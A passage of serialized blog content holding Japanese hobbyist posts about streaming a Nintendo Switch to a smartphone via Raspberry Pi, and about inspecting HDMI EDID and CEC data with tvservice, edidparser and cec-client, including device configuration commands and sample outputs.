ControllerのWeb対応。\n[前回](../2020/2020-04-10-raspberrypi-hdmi-input.md)はNintendo Switchゲーム画面のWeb対応。\n[今回](../2020/2020-04-17-nintendo-switch-audio-uac-gadget.md)はNintendo Switchゲーム音声のWeb対応。\n\n何を作ろうとしてるか、だんだんワクワクしてきましたね?\n"]}],[0,{"slug":[0,"2020/05/11/play-nintendo-switch-on-smartphone/"],"data":[0,{"title":[0,"スマホでNintendo Switchのゲームをする"],"date":[3,"2020-05-10T22:30:00.000Z"],"image":[0,"/assets/images/2020/05/11/ns-remote.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Game"]]],"tags":[1,[[0,"nintendo"],[0,"switch"],[0,"usb-gadget"],[0,"raspberry-pi"],[0,"webrtc"],[0,"gstreamer"],[0,"tc358743"]]]}],"content":[0,"\n> [前々回](../2020/2020-03-20-nintendo-switch-pro-controller-usb-gadget.md)はNintendo Switch Pro ControllerのWeb対応。\n> [前回](../2020/2020-04-10-raspberrypi-hdmi-input.md)はNintendo Switchゲーム画面のWeb対応。\n> [今回](../2020/2020-04-17-nintendo-switch-audio-uac-gadget.md)はNintendo Switchゲーム音声のWeb対応。\n>\n> 何を作ろうとしてるか、だんだんワクワクしてきましたね?\n\n前回の記事の最後に挙げたまとめです。その成果として表題の通り、スマホでNintendo Switchのゲームをすることができました。\nそこまでの道筋です。\n\n釣りタイトルっぽくなっているため、Nintendo Switch本体を持ってない人がスマホでNintendo Switchのゲームができると勘違いして迷い込んだ人は[お帰りください](https://chiebukuro.yahoo.co.jp/)。\n\n## 目次\n\n\n## 振り返り\n\nこれまでの振り返りです。\n振り返りつつ、変更点を記します。\n\n### Pro Controllerの模倣\n\n::PostLink{slug=\"nintendo-switch-pro-controller-usb-gadget\"}\n\nこの回ではNintendo Switch Pro Controllerの挙動を解析し、スマホから操作するところまでやりました。\n[libusbgx](https://github.com/libusbgx/libusbgx)や[Gstreamer](https://gstreamer.freedesktop.org/)との相性を考え、GoやRustを使わずCで書いていたものの、[h2o](https://github.com/h2o/h2o)のWebSocket実装が未熟だっり、glibやlibevent使うの辛かったりしたのもあって、Cで書くのをやめて結局Goで書き直しました。\n単純な実装ですが、コントローラーのシミュレーション部はGoモジュールとして分離して公開しました。\n\n[mzyy94/nscon: Nintendo Switch Controller simulator written in go - GitHub](https://github.com/mzyy94/nscon)\n\n\n### HDMI入力を扱う\n\n::PostLink{slug=\"raspberrypi-hdmi-input\"}\n\nHDMI入力基板を用いてHDMI入力を扱いました。\nRaspberry Pi公式のCamera Moduleとして認識してくれるので、何もせずにH.264で入力を扱えて楽でしたが、これはこれで問題を抱えていました。\n再接続時に問題があることがこの時点ではわかっていたんですが、もっと使い込んでいくと入力解像度がおかしくなるなど、さらに問題があることがわかりました。\n\n使用したHDMI入力基板はTC358743XBGというチップを使ってHDMI入力をCSI2に変換していると紹介しました。\nこのTC358743XBGはLinuxにドライバがあり、Camera Moduleのドライバを用いずにVideo4Linux2のデバイスとして認識させることができます。\n\n[linux/tc358743.c at v4.19 · torvalds/linux](https://github.com/torvalds/linux/blob/v4.19/drivers/media/i2c/tc358743.c)\n\nこのドライバを使うことで、入力機器が転送可能な映像の種類を記す[EDID](https://en.wikipedia.org/wiki/Extended_Display_Identification_Data)を扱え、入力解像度をはじめとする諸問題も解決できます。\n\nRaspberry Piでこのドライバを用いるには、デバイスツリーにtc358743を認識させるだけです。\n**/boot/config.txt**に`dtoverlay=tc358743`を追記し、再起動することでドライバが読み込まれます。\n\n```\npi@raspberrypi:~ $ dmesg | grep tc358743\n[ 5.718785] tc358743 0-000f: tc358743 found @ 0x1e (bcm2835 I2C adapter)\npi@raspberrypi:~ $ lsmod | grep tc358743\ntc358743 40960 1\nv4l2_dv_timings 36864 2 bcm2835_unicam,tc358743\nv4l2_fwnode 20480 2 bcm2835_unicam,tc358743\nv4l2_common 16384 3 bcm2835_unicam,bcm2835_v4l2,tc358743\nvideodev 200704 9 bcm2835_unicam,v4l2_fwnode,bcm2835_codec,v4l2_common,videobuf2_common,bcm2835_v4l2,v4l2_mem2mem,videobuf2_v4l2,tc358743\nmedia 36864 5 bcm2835_unicam,bcm2835_codec,videodev,v4l2_mem2mem,tc358743\n```\n\nこれだけでは入力映像を扱えず、EDIDを機器側に通知して初めて使えるので、ドライバが読み込まれる度にEDIDをセットする必要があります。\nこのために用意した[720P30EDID.txt](https://gist.github.com/mzyy94/b0a39c6d423cdf50fd2e3d9963e8e909#file-720p30edid-txt)をダウンロードし、以下のようにEDIDのセットを行うことで、V4L2で1280x720のRAW映像を扱えるようになります。\n\n```\nv4l2-ctl --set-edid=file=720P30EDID.txt\nv4l2-ctl --set-dv-bt-timings query\n```\n\n繋がっているHDMI入力の情報は`v4l2-ctl --query-dv-timings`で見られます。\n\n結果としてRaspberry PiのCamera Moduleとしては認識しなくなったため、H.264圧縮はされず、YUVのRAW映像としてしか取り込めません。\nH.264で遅延の少ない映像を得るにはハードウェアエンコーダーを利用する必要があります。\nしかし、このドライバを用いている時は、先の記事で紹介したomxh264encは使えないため、v4l2h264encを使います。\n\nRTPで送信する例は、こんな感じです。\n\n```\ngst-launch-1.0 v4l2src ! video/x-raw,width=1280,height=720,framerate=30/1 ! v4l2h264enc extra-controls=\"encode,h264_profile=1,h264_level=12;\" ! video/x-h264,width=1280,height=720,stream-format=byte-stream,profile=constrained-baseline ! h264parse config-interval=-1 ! rtph264pay pt=96 ! udpsink host=mzyy94.local port=5678\n```\n\n\n### Switchの音声出力を取り込む\n\n::PostLink{slug=\"nintendo-switch-audio-uac-gadget\"}\n\nUAC Gadgetでオーディオデバイスをシミュレートし、ALSA経由で取り込んでWebRTCでブラウザで見られるようにしました。\nこの時は、GstreamerのWebRTCを用いていましたが、WebRTCのSDPのネゴシエーションに不備があるなど、これも問題を抱えていました。\nそのため、iOS SafariやAndroid Chromeなどでは映像と音声が再生されないなどの問題がありました。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">WebRTCなんもわからんな <a href=\"https://t.co/v3URQb6LQL\">pic.twitter.com/v3URQb6LQL</a></p>&mdash; ミ゛ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1246366906514149376?ref_src=twsrc%5Etfw\">April 4, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nGstreamerはv4l2srcからHDMI入力を取り込み、v4l2h264encでH.264にエンコードするまでを任せ、WebRTCは別のソフトウェアを使うことにしました。\nOSSのWebRTCバックエンドは、Goで実装されたPionが有名です。\n\n[pion/webrtc: Pure Go implementation of the WebRTC API](https://github.com/pion/webrtc)\n\n以前から使ってみたい興味はあったので、これを用いてWebRTCで転送するようにしました。\n[example](https://github.com/pion/example-webrtc-applications)にあるコードそのままではコーデック情報が正しく指定できなかったため、SDPをちゃんと読む処理を加えています。\nまた、GoでGstreamerを扱うため、ある程度必要なものが揃ったバインディングである[notedit/gst](https://github.com/notedit/gst)を用いました。\n\n## 成果物\n\n\n<blockquote class=\"twitter-tweet\"><p lang=\"und\" dir=\"ltr\"><a href=\"https://t.co/rFbfMWyWAF\">pic.twitter.com/rFbfMWyWAF</a></p>&mdash; ミ゛ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1258118680056958976?ref_src=twsrc%5Etfw\">May 6, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nこれまでの成果を全部くっつけたものです。\n遅延は0.2秒程度あるものの、どうぶつの森であれば十分にプレイできる程度です。\n難点はNintendo Switchを遠隔でスリープ復帰できないので、スリープを解除した状態でDockに入れる必要があることくらいで、他は十分に求めるレベルまで達しています。\n\n[mzyy94/ns-remote: Play Nintendo Switch anyware](https://github.com/mzyy94/ns-remote)\n\n必要なハードウェアが多いですが、GPLv3ライセンスのもと公開しているので、よかったら遊んでみてください。\n\n## まとめ\n\nこれで湯船に浸かりながらどうぶつの森が遊べるようになりました。\n\nWebRTCとWebSocketで実装してあるので、デバイスに依存せず、例えばWebXR/WebVRとの組み合わせもできるので、幅広い活用ができそうです。\n良い自粛のお供ができました。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">外出自粛の中、どうしてもピクニックしながらどうぶつの森をやりたい欲が抑えきれなかったのでVRで満たした☺️普通に快適に遊べてとても満足😌 <a href=\"https://t.co/6eNGr6T025\">pic.twitter.com/6eNGr6T025</a></p>&mdash; ミ゛ (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1251611891190792192?ref_src=twsrc%5Etfw\">April 18, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n"]}],[0,{"slug":[0,"2020/05/12/raspberrypi-hdmi-edid-cec/"],"data":[0,{"title":[0,"Raspberry PiでHDMIディスプレイを調査する[EDID/CEC]"],"date":[3,"2020-05-11T17:00:00.000Z"],"image":[0,"/assets/images/2020/05/12/hdmi.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"hdmi"],[0,"cec"],[0,"edid"]]],"redirect_from":[0,"/blog/2020/05/12/raspberry-pi-hdmi-edid-cec/"]}],"content":[0,"\nみなさん、テレビやディスプレイに備わるHDMIの情報を確認する必要に迫られることはありませんか?\n1年に一度くらいはありますよね。映像がうまく映らなかったり、操作がうまくいかなかったり。\nそんな時にパッとHDMIの情報を確認できるようになっておくべく、Raspberry PiとHDMIケーブルで調査できるようになっておきましょう。\n\nはい、今回はRaspberry PiとHDMI EDID/CECの話。\n\n## 目次\n\n\n\n## HDMI\n\nHDMIには映像と音声の他に、様々な情報がやり取りされています。\nイーサネット通信機能やHDMI入力端子から音声を出力して送り返す(!?)ARCなど、あげたらキリがないほど機能てんこ盛りです。\n\n全ての機能に関する仕様書は[HDMI.org](https://www.hdmi.org/)でメンバー登録してライセンス料を払うことで入手できるそうですが、ちょこっとHDMIについて知りたい場合は大袈裟すぎます。\n一般人にはWikipediaでも読んで知ったつもりになるくらいで十分です。私もWikipediaで知ったつもりになりました。\n\n[HDMI - Wikipedia](https://ja.wikipedia.org/wiki/HDMI)\n\nこのWikipediaの概要に、以下に引用した興味深い一文が掲載されています。\n\n> 物理層はTMDS ([Transition Minimized Differential Signaling](https://ja.wikipedia.org/wiki/Transition_Minimized_Differential_Signaling))、信号の暗号化はHDCP ([High-bandwidth Digital Content Protection](https://ja.wikipedia.org/wiki/%E3%82%B3%E3%83%94%E3%83%BC%E3%82%AC%E3%83%BC%E3%83%89#HDCP%EF%BC%88High-bandwidth_Digital_Content_Protection%EF%BC%89))、機器間認証はEDID ([Extended display identification data(英語版)](https://en.wikipedia.org/wiki/Extended_Display_Identification_Data))、系全体の制御系接続はCEC ([Consumer Electronics Control(英語版)](https://en.wikipedia.org/wiki/Consumer_Electronics_Control)) が採用されている。\n\n映像と音声の伝送のほかに、機器間認証はEDIDを、制御系接続はCECを用いているとのことです。ふむふむ。\n\n### EDID\n\n[Extended Display Identification Data - Wikipedia(英語版)](https://en.wikipedia.org/wiki/Extended_Display_Identification_Data)\n\n表まで使って色々と詳しく説明されていますが、噛み砕いてEDIDについて説明すると、ディスプレイの機能について出力機器に伝えるためのメタデータです。\nVESAの規格に従って、対応解像度や対応周波数、メーカー名やシリアルナンバーなどが記述されています。\n\nWindowsやmacOSがディスプレイに接続して映像を出力する時、このEDIDに記述されている対応映像情報を元に、映像出力解像度やフレームレートなどが決定されています。\nRaspbianも同じくして、接続されたHDMIディスプレイのEDIDを確認しています。\n\n\n### CEC\n\n[Consumer Electronics Control - Wikipedia(英語版)](https://en.wikipedia.org/wiki/Consumer_Electronics_Control)\n\n[CEC (Consumer Electronics Control) over HDMI - eLinux.org](https://elinux.org/CEC_(Consumer_Electronics_Control)_over_HDMI)\n\nCECはディスプレイを操作するコントローラーで、機器を制御するものです。\nテレビリモコンでAmazon Fire TVを操作したり、テレビの電源に連動してゲーム機がスリープに移行する機能はCECによるものです。\n\n[昔紹介した](../2015/2015-08-08-pvr-chinachu-addon.md)エンターテイメントシステムの[Kodi](https://kodi.tv)もCECをサポートしています。\n\n[CEC - Official Kodi Wiki](https://kodi.wiki/view/CEC)\n\nWikiにも紹介がありますが、Kodiが直接CECの実装を持っているのではなく、Pulse-EightのlibCECを用いてリモコンでの操作を可能としています。\n\n[Pulse-Eight/libcec: USB CEC Adapter communication Library http://libcec.pulse-eight.com/](https://github.com/Pulse-Eight/libcec)\n\n## Raspberry PiのHDMI出力\n\nRaspberry PiのHDMI出力は、ブートローダーであり心臓部でもあるVideoCore(GPU)に直結していることもあって、レジスタ操作によってHDMIの情報にアクセスできるようになっています。\n\n[BCM2711 datasheet ARM Peripherals](https://www.raspberrypi.org/documentation/hardware/raspberrypi/bcm2711/rpi_DATA_2711_1p0.pdf)\n\nただ、画面出力目的ではなくHDMIの調査目的にHDMI出力端子を使うには、VideoCoreの設定をいくつかカスタマイズする必要があります。\n設定方法は恒例の**/boot/config.txt**の編集です。\n\nドキュメントがこちらもRaspberry Pi財団によって用意されているので参照しながら設定していきます。\n\n[Video options in config.txt - Raspberry Pi Documentation](https://www.raspberrypi.org/documentation/configuration/config-txt/video.md)\n\n### HDMIの強制設定\n\n```\nhdmi_drive=2\n```\n\n> **hdmi_drive**\n>\n> The `hdmi_drive` command allows you to choose between HDMI and DVI output modes.\n> \n> hdmi_drive | result\n> :---|:---\n> 1 | Normal DVI mode (no sound)\n> 2 | Normal HDMI mode (sound will be sent if supported and enabled)\n\n_引用元: [Video options in config.txt - Raspberry Pi Documentation](https://www.raspberrypi.org/documentation/configuration/config-txt/video.md)_\n\nHDMIはDVIと一部互換のため、DVIとして音声のない映像のみを取り扱う信号をやり取りすることもできます。\n今回はHDMI信号としての情報に限って調べるため、ノイズを減らすためにHDMI信号を扱うようにしておきます。\n\n### ホットプラグ対応\n\n```\nhdmi_force_hotplug=1\n```\n\n> **hdmi_force_hotplug**\n>\n> Setting `hdmi_force_hotplug` to `1` pretends that the HDMI hotplug signal is asserted, so it appears that a HDMI display is attached. In other words, HDMI output mode will be used, even if no HDMI monitor is detected.\n\n_引用元: [Video options in config.txt - Raspberry Pi Documentation](https://www.raspberrypi.org/documentation/configuration/config-txt/video.md)_\n\n抜き差ししていろいろなディスプレイを調査する時や、Raspberry Piが起動してからディスプレイを接続するとき、これを有効にしておく必要があります。\n\n### 初期CEC無効化\n\n```\nhdmi_ignore_cec_init=1\n```\n\n> **hdmi_ignore_cec_init**\n>\n> Setting `hdmi_ignore_cec_init` to `1` will stop the initial active source message being sent during bootup. This prevents a CEC-enabled TV from coming out of standby and channel-switching when you are rebooting your Raspberry Pi.\n\n_引用元: [Video options in config.txt - Raspberry Pi Documentation](https://www.raspberrypi.org/documentation/configuration/config-txt/video.md)_\n\nRaspberry PiのHDMIは、Raspberry Piの起動時にディスプレイにCECの信号を送ってスタンバイから復帰させる機能があります。\nHDMI情報の調査目的でRaspberry Piを繋げて起動すると、勝手にCECの信号を送られて困るシチュエーションもあるので、そういう場合にオフにします。\n\n### ブースト\n\n> **config_hdmi_boost**\n>\n> Configures the signal strength of the HDMI interface. The minimum value is `0` and the maximum is `11`.\n> \n> The default value for the original Model B and A is `2`. The default value for the Model B+ and all later models is `5`.\n> \n> If you are seeing HDMI issues (speckling, interference) then try `7`. Very long HDMI cables may need up to `11`, but values this high should not be used unless absolutely necessary.\n> \n> This option is ignored on the Raspberry Pi 4.\n\n_引用元: [Video options in config.txt - Raspberry Pi Documentation](https://www.raspberrypi.org/documentation/configuration/config-txt/video.md)_\n\n信号がうまく取れなかったりするときは`config_hdmi_boost`の値を変えるといいらしい。Raspberry Pi 4では動かないので効果の程はわからないです。\n\n\n## EDID調査\n\nEDIDからディスプレイの情報を取得してみます。\n\n### EDIDのダンプ\n\nRaspbianには`tvservice`コマンドが標準で用意されており、HDMI接続機器の情報を取得できます。EDIDのダンプもできます。\nシンボリックリンクを経由したものがPATHに通っていますが、VideoCoreのレジスタを叩くためのコマンドであることから、**/opt/vc/bin/**にあります。\n\nそしてドキュメントがRaspberry Pi財団によってWebに公開されています。(manは用意されていない。)\n\n[tvservice - Raspberry Pi Documentation](https://www.raspberrypi.org/documentation/raspbian/applications/tvservice.md)\n\nRaspberry Pi起動後に接続したディスプレイに対しては、`-d`(ダンプEDID)オプション以外動いてくれません。\nまあ`-d`オプションが動いてくれれば目的のEDIDのダンプは取れるので、十分です。\n \n\n\n<!--\n```\npi@raspberrypi:/tmp $ tvservice -h\nUsage: tvservice [OPTION]...\n -p, --preferred Power on HDMI with preferred settings\n -e, --explicit=\"GROUP MODE DRIVE\" Power on HDMI with explicit GROUP (CEA, DMT, CEA_3D_SBS, CEA_3D_TB, CEA_3D_FP, CEA_3D_FS)\n MODE (see --modes) and DRIVE (HDMI, DVI)\n -t, --ntsc Use NTSC frequency for HDMI mode (e.g. 59.94Hz rather than 60Hz)\n -c, --sdtvon=\"MODE ASPECT [P]\" Power on SDTV with MODE (PAL or NTSC) and ASPECT (4:3 14:9 or 16:9) Add P for progressive\n -o, --off Power off the display\n -m, --modes=GROUP Get supported modes for GROUP (CEA, DMT)\n -M, --monitor Monitor HDMI events\n -s, --status Get HDMI status\n -a, --audio Get supported audio information\n -d, --dumpedid <filename> Dump EDID information to file\n -j, --json Use JSON format for --modes output\n -n, --name Print the device ID from EDID\n -l, --list List all attached devices\n -v, --device Specify the device to use (see --list)\n -h, --help Print this information\n```\n-->\n\nHDMIケーブルでRaspberry Piとテレビを繋げてEDIDをダンプしてみます。対象は、[1年半前に買った格安65インチ4Kテレビ](../2018/2018-11-29-lowcost-65-4k-hdr-tv.md)です。\nstdoutとかには出力できないので、ファイルに出力してあげます。\n\n```\npi@raspberrypi:~ $ tvservice -d /tmp/edid.bin\nWritten 256 bytes to /tmp/edid.bin\n```\n\n出力したEDIDファイルは、以下のようになっています。\nこれだけ見るとなんのこっちゃわかりませんね。\n\n\n\n\n<!--```\npi@raspberrypi:~ $ file /tmp/edid.bin \nedid.bin: EDID data, version 1.3\npi@raspberrypi:~ $ xxd /tmp/edid.bin \n00000000: 00ff ffff ffff ff00 4d79 2900 0101 0101 ........My).....\n00000010: 301b 0103 8080 4878 0ada ffa3 584a a229 0.....Hx....XJ.)\n00000020: 1749 4b20 0800 3140 6140 0101 0101 0101 .IK ..1@a@......\n00000030: 0101 0101 0101 08e8 0030 f270 5a80 b058 .........0.pZ..X\n00000040: 8a00 ba88 2100 001e 023a 8018 7138 2d40 ....!....:..q8-@\n00000050: 582c 4500 ba88 2100 001e 0000 00fc 0054 X,E...!........T\n00000060: 562d 6d6f 6e69 746f 720a 2020 0000 00fd V-monitor. ....\n00000070: 0017 3d0f 883c 000a 2020 2020 2020 0169 ..=..<.. .i\n00000080: 0203 47f0 5710 1f05 1420 2122 0413 0312 ..G.W.... !\"....\n00000090: 0716 5d5e 5f62 6364 6160 6665 2309 0701 ..]^_bcda`fe#...\n000000a0: 6e03 0c00 1000 383c 2f00 8001 0203 0467 n.....8</......g\n000000b0: d85d c401 7880 03e2 00c9 e305 e000 e40f .]..x...........\n000000c0: 0000 78e3 0607 0166 2156 aa51 001e 3046 ..x....f!V.Q..0F\n000000d0: 8f33 00ba 8821 0000 1e00 0000 0000 0000 .3...!..........\n000000e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\n000000f0: 0000 0000 0000 0000 0000 0000 0000 00e2 ................\n```-->\n\n\n### EDID解析\n\nRaspbianには`tvservice`とセットで同じ場所に`edidparser`コマンドがあり、これで先ほどのEDIDファイルを読める形にできます。\n\n<script src=\"https://gist.github.com/mzyy94/9e9c3a23d84f7167d07a4e7939c85d1d.js?file=edidparser%20edid.bin\"></script>\n\n<!--\n\n```\npi@raspberrypi:~ $ edidparser /tmp/edid.bin \nEnabling fuzzy format match...\nParsing edid.bin...\nHDMI:EDID version 1.3, 1 extensions, screen size 128x72 cm\nHDMI:EDID features - videodef 0x80 !standby !suspend !active off; colour encoding:RGB444|YCbCr422; sRGB is not default colourspace; preferred format is native; does not support GTF\nHDMI:EDID found monitor name descriptor tag 0xfc\nHDMI:EDID monitor name is TV-monitor\nHDMI:EDID found monitor range descriptor tag 0xfd\nHDMI:EDID monitor range offsets: V min=0, V max=0, H min=0, H max=0\nHDMI:EDID monitor range: vertical is 23-61 Hz, horizontal is 15-136 kHz, max pixel clock is 600 MHz\nHDMI:EDID monitor range does not support GTF\nHDMI:EDID found preferred CEA detail timing format: 3840x2160p @ 60 Hz (97)\nHDMI:EDID found CEA detail timing format: 1920x1080p @ 60 Hz (16)\nHDMI:EDID established timing I/II bytes are 20 08 00\nHDMI:EDID found DMT format: code 4, 640x480p @ 60 Hz in established timing I/II\nHDMI:EDID found DMT format: code 16, 1024x768p @ 60 Hz in established timing I/II\nHDMI:EDID standard timings block x 8: 0x3140 6140 0101 0101 0101 0101 0101 0101 \nHDMI:EDID found DMT format: code 4, 640x480p @ 60 Hz (4:3) in standard timing 0\nHDMI:EDID found DMT format: code 16, 1024x768p @ 60 Hz (4:3) in standard timing 1\nHDMI:EDID parsing v3 CEA extension 0\nHDMI:EDID monitor support - underscan IT formats:yes, basic audio:yes, yuv444:yes, yuv422:yes, #native DTD:0\nHDMI:EDID found DMT detail timing format: 1366x768p @ 60 Hz (81)\nHDMI:EDID found CEA format: code 16, 1920x1080p @ 60Hz \nHDMI:EDID found CEA format: code 31, 1920x1080p @ 50Hz \nHDMI:EDID found CEA format: code 5, 1920x1080i @ 60Hz \nHDMI:EDID found CEA format: code 20, 1920x1080i @ 50Hz \nHDMI:EDID found CEA format: code 32, 1920x1080p @ 24Hz \nHDMI:EDID found CEA format: code 33, 1920x1080p @ 25Hz \nHDMI:EDID found CEA format: code 34, 1920x1080p @ 30Hz \nHDMI:EDID found CEA format: code 4, 1280x720p @ 60Hz \nHDMI:EDID found CEA format: code 19, 1280x720p @ 50Hz \nHDMI:EDID found CEA format: code 3, 720x480p @ 60Hz \nHDMI:EDID found CEA format: code 18, 720x576p @ 50Hz \nHDMI:EDID found CEA format: code 7, 1440x480i @ 60Hz \nHDMI:EDID found CEA format: code 22, 1440x576i @ 50Hz \nHDMI:EDID found CEA format: code 93, 3840x2160p @ 24Hz \nHDMI:EDID found CEA format: code 94, 3840x2160p @ 25Hz \nHDMI:EDID found CEA format: code 95, 3840x2160p @ 30Hz \nHDMI:EDID found CEA format: code 98, 4096x2160p @ 24Hz \nHDMI:EDID found CEA format: code 99, 4096x2160p @ 25Hz \nHDMI:EDID found CEA format: code 100, 4096x2160p @ 30Hz \nHDMI:EDID found CEA format: code 97, 3840x2160p @ 60Hz \nHDMI:EDID found CEA format: code 96, 3840x2160p @ 50Hz \nHDMI:EDID found CEA format: code 102, 4096x2160p @ 60Hz \nHDMI:EDID found CEA format: code 101, 4096x2160p @ 50Hz \nHDMI:EDID found audio format 2 channels PCM, sample rate: 32|44|48 kHz, sample size: 16 bits\nHDMI:EDID found HDMI VSDB length 14\nHDMI:EDID HDMI VSDB has physical address 1.0.0.0\nHDMI:EDID HDMI VSDB supports AI:no, dual link DVI:no\nHDMI:EDID HDMI VSDB deep colour support - 48-bit:no 36-bit:yes 30-bit:yes DC_yuv444:yes\nHDMI:EDID HDMI VSDB max TMDS clock 300 MHz\nHDMI:EDID HDMI VSDB content type support: game|cinema|photo|text\nHDMI:EDID HDMI VSDB supports extended resolutions 1,2,3,4\nHDMI:EDID ignoring non HDMI VSDB with IEEE reg 0xc45dd8\nHDMI:EDID found Video Capability DB length 2\nHDMI:EDID video capability: CE:1 IT:2 PT:0 QS:3\nHDMI:EDID extended data block tag 0x05 length 3 not supported\nHDMI:EDID extended data block YCbCr420CapMap - length 4\nHDMI:EDID extended data block tag 0x06 length 3 not supported\nHDMI:EDID adding mandatory support for CEA (1) 640x480p @ 60Hz\nHDMI:EDID adding mandatory support for CEA (2) 720x480p @ 60Hz\nHDMI:EDID adding mandatory support for CEA (17) 720x576p @ 50Hz\nHDMI:EDID filtering formats with pixel clock unlimited MHz or h. blanking unlimited\nHDMI:EDID best score mode initialised to CEA (1) 640x480p @ 60 Hz with pixel clock 25 MHz (score 0)\nHDMI:EDID best score mode is now CEA (1) 640x480p @ 60 Hz with pixel clock 25 MHz (score 61864)\nHDMI:EDID best score mode is now CEA (2) 720x480p @ 60 Hz with pixel clock 27 MHz (score 66472)\nHDMI:EDID CEA mode (3) 720x480p @ 60 Hz with pixel clock 27 MHz has a score of 66472\nHDMI:EDID best score mode is now CEA (4) 1280x720p @ 60 Hz with pixel clock 74 MHz (score 135592)\nHDMI:EDID DMT mode (4) 640x480p @ 60 Hz with pixel clock 25 MHz has a score of 43432\nHDMI:EDID best score mode is now CEA (5) 1920x1080i @ 60 Hz with pixel clock 74 MHz (score 149416)\nHDMI:EDID CEA mode (7) 1440x480i @ 60 Hz with pixel clock 27 MHz has a score of 45736\nHDMI:EDID best score mode is now CEA (16) 1920x1080p @ 60 Hz with pixel clock 148 MHz (score 4773832)\nHDMI:EDID DMT mode (16) 1024x768p @ 60 Hz with pixel clock 65 MHz has a score of 72185\nHDMI:EDID CEA mode (17) 720x576p @ 50 Hz with pixel clock 27 MHz has a score of 66472\nHDMI:EDID CEA mode (18) 720x576p @ 50 Hz with pixel clock 27 MHz has a score of 66472\nHDMI:EDID CEA mode (19) 1280x720p @ 50 Hz with pixel clock 74 MHz has a score of 117160\nHDMI:EDID CEA mode (20) 1920x1080i @ 50 Hz with pixel clock 74 MHz has a score of 128680\nHDMI:EDID CEA mode (22) 1440x576i @ 50 Hz with pixel clock 27 MHz has a score of 45736\nHDMI:EDID CEA mode (31) 1920x1080p @ 50 Hz with pixel clock 148 MHz has a score of 232360\nHDMI:EDID CEA mode (32) 1920x1080p @ 24 Hz with pixel clock 74 MHz has a score of 124532\nHDMI:EDID CEA mode (33) 1920x1080p @ 25 Hz with pixel clock 74 MHz has a score of 128680\nHDMI:EDID CEA mode (34) 1920x1080p @ 30 Hz with pixel clock 74 MHz has a score of 149416\nHDMI:EDID DMT mode (81) 1366x768p @ 60 Hz with pixel clock 85 MHz has a score of 4062945\nHDMI:EDID CEA mode (93) 3840x2160p @ 24 Hz with pixel clock 297 MHz has a score of 423130\nHDMI:EDID CEA mode (94) 3840x2160p @ 25 Hz with pixel clock 297 MHz has a score of 439720\nHDMI:EDID CEA mode (95) 3840x2160p @ 30 Hz with pixel clock 297 MHz has a score of 522664\nHDMI:EDID CEA mode (96) 3840x2160p @ 50 Hz with pixel clock 594 MHz has a score of 356776\nHDMI:EDID best score mode is now CEA (97) 3840x2160p @ 60 Hz with pixel clock 594 MHz (score 5622196)\nHDMI:EDID CEA mode (98) 4096x2160p @ 24 Hz with pixel clock 297 MHz has a score of 224065\nHDMI:EDID CEA mode (99) 4096x2160p @ 25 Hz with pixel clock 297 MHz has a score of 232360\nHDMI:EDID CEA mode (100) 4096x2160p @ 30 Hz with pixel clock 297 MHz has a score of 273831\nHDMI:EDID CEA mode (101) 4096x2160p @ 50 Hz with pixel clock 594 MHz has a score of 190888\nHDMI:EDID CEA mode (102) 4096x2160p @ 60 Hz with pixel clock 594 MHz has a score of 224065\nHDMI0:EDID preferred mode remained as CEA (97) 3840x2160p @ 60 Hz with pixel clock 594 MHz\nHDMI:EDID has HDMI support and audio support\nedidparser exited with code 0\npi@raspberrypi:~ $ \n```\n-->\n\nこのパース結果から、以下のようなテレビの情報が取得できました。\n\n- 画面サイズ: 128x72 cm\n- 製品名: TV-monitor\n- 推奨映像モード: 3840x2160p @ 60 Hz 594 MHz\n- 対応音声フォーマット: 2 channels PCM, 32\\|44\\|48 kHz, 16 bits\n\n## CEC調査\n\n次はCEC調査です。\n先に紹介した[libCEC](https://github.com/Pulse-Eight/libcec)には、クライアント実装として`cec-client`というCLIツールがセットで提供されています。\nこれを使ってCECの調査ができます。\nlibCECをビルドするか、`sudo apt install cec-utils`で`cec-client`が手に入ります。\n\n`cec-client`はログ出力がモリモリでうるさいので、`-d`オプションで必要なレベルまで下げます。\n普段使いは`-d 1`です。\n\n```cpp\ntypedef enum cec_log_level\n{\n CEC_LOG_ERROR = 1,\n CEC_LOG_WARNING = 2,\n CEC_LOG_NOTICE = 4,\n CEC_LOG_TRAFFIC = 8,\n CEC_LOG_DEBUG = 16,\n CEC_LOG_ALL = 31\n} cec_log_level;\n```\n[libcec/cectypes.h#L828-L836 at libcec-5.0.0](https://github.com/pulse-eight/libcec/blob/libcec-5.0.0/include/cectypes.h#L828-L836)\n\n\nコマンドを`-s`オプションに続けて標準入力から与えることで、CECの調査ができます。\nコマンドの一覧は`echo help | cec-client -d 1 -s`でわかります。\n\n### 接続機器の一覧\n\n```\necho \"scan\" | cec-client -d 1 -s\n```\n\n同じディスプレイに繋がっていて、CECの疎通ができるデバイスの一覧を`scan`コマンドで列挙できます。\n認識されているデバイスを確認することができます。\n\n\n\n<!--\n```\npi@raspberrypi:~ $ echo scan | cec-client -d 1 -s\nlog level set to 1\nopening a connection to the CEC adapter...\nrequesting CEC bus information ...\nCEC bus information\n===================\ndevice #0: TV\naddress: 0.0.0.0\nactive source: no\nvendor: Unknown\nosd string: TV\nCEC version: 1.4\npower status: on\nlanguage: jpn\n\n\ndevice #1: Recorder 1\naddress: 1.0.0.0\nactive source: no\nvendor: Pulse Eight\nosd string: CECTester\nCEC version: 1.4\npower status: on\nlanguage: eng\n\n\ndevice #4: Playback 1\naddress: 4.0.0.0\nactive source: no\nvendor: Unknown\nosd string: AppleTV\nCEC version: unknown\npower status: standby\nlanguage: ???\n\n\ndevice #8: Playback 2\naddress: 2.0.0.0\nactive source: no\nvendor: Sony\nosd string: PlayStation 4\nCEC version: 1.3a\npower status: standby\nlanguage: ???\n\n\ndevice #B: Playback 